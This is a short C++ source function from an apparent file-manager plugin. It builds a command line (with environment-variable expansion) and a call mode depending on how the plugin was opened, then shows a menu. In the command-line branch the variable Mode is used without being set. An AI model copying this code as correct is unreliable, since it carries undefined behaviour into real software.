CPlugin::EDoMenu CPlugin::OpenPluginBkg(int nOpenFrom, INT_PTR nItem) { LPWSTR szCmdLine=NULL; CallMode Mode; switch(nOpenFrom) { case OPEN_COMMANDLINE: { LPCWSTR sz=reinterpret_cast<OpenCommandLineInfo*>(nItem)->CommandLine; size_t nLen=512; do { delete[] szCmdLine; nLen*=2; szCmdLine=new wchar_t[nLen]; } while (ExpandEnvironmentStrings(sz, szCmdLine,(DWORD)nLen) >= nLen-1); } break; case OPEN_FILEPANEL: Mode = nItem? CALL_APPS : CALL_RIGHTCLICK; break; case OPEN_LEFTDISKMENU: case OPEN_RIGHTDISKMENU: { struct DiskMenuParam {const wchar_t* CmdLine; BOOL Apps;} *p = reinterpret_cast<DiskMenuParam*>(nItem); Mode = p->Apps? CALL_APPS : CALL_RIGHTCLICK; szCmdLine=new wchar_t[wcslen(p->CmdLine)+1]; wcscpy(szCmdLine, p->CmdLine); } break; default: Mode = CALL_NORMAL; break; } EDoMenu enDoMenu=DoMenu(szCmdLine, Mode); delete[] szCmdLine; return enDoMenu; }